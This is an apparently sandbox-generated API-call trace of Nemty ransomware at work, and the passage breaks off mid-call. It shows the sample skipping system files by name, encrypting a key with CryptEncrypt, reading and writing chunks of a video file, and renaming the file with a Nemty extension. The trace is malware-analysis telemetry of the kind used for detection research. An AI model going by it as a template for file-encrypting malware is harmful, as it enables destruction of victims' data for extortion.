[0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="appdata") returned 1 [0074.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_LOOP_BG.wmv", lpUsedDefaultChar=0x0) returned 17 [0074.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0074.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_LOOP_BG.wmv", lpUsedDefaultChar=0x0) returned 17 [0074.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0074.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_LOOP_BG.wmv", lpUsedDefaultChar=0x0) returned 17 [0074.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_LOOP_BG.wmv", lpUsedDefaultChar=0x0) returned 17 [0074.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0074.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0074.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0074.598] Sleep (dwMilliseconds=0x5) [0074.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe01e9550, dwHighDateTime=0x1d561e7)) [0074.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe01e9550, dwHighDateTime=0x1d561e7)) [0074.613] GetLastError () returned 0x5 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.613] GetLastError () returned 0x5 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.613] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0074.613] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0074.613] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0074.613] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="1h02/stYcJVj18m0PCKPoQv8xGkALnKFuUwSRK2OmYQjDpgqdGXN7GxK0GPg+O/i\r\nY7a18YgLtSnXrY8IrMn9iw2b4R5QUfsElElUxQZ5KfFMI7im0ktrftQ+rudF4jWC\r\nJrpN+Wg7zeduR0dMiYrNjHnDhdrAJn7LpuMT4S9E+jGUGSIrVYMhVFWKXmvjt9d2\r\nRSTiiSwrR+6Y40P/i0TiGlgdefJkghdudUqa6+Lw1e5XVZ5ni6vfWhBpdCgshJYv\r\nv2XRLmLNlYCxRmkZIryxhwa08/2iPgDJeyI0wE5c9sersLL+5ac0kYCWyf77fxtg\r\nOvFMQ4N/MlqtjflM3to4yA==\r\n", pcchString=0x653e91c) returned 1 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0074.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0074.613] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.613] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0074.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0074.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.711] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0074.718] CloseHandle (hObject=0xffffffff) returned 0 [0074.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0074.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0074.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.718] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv._nemty_kgobjgd_")) returned 0 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.718] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0074.718] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2=".") returned 1 [0074.718] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="..") returned 1 [0074.718] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="...") returned 1 [0074.718] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="windows") returned -1 [0074.718] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0074.718] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="rsa") returned -1 [0074.718] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0074.718] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="ntldr") returned -1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="IO.SYS") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="ntuser.dat") returned -1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="desktop.ini") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="RECYCLER") returned -1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="bootmgr") returned 1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="programdata") returned -1 [0074.719] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="appdata") returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_LOOP_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 21 [0074.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0074.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_LOOP_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 21 [0074.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.719] HeapFree (in: 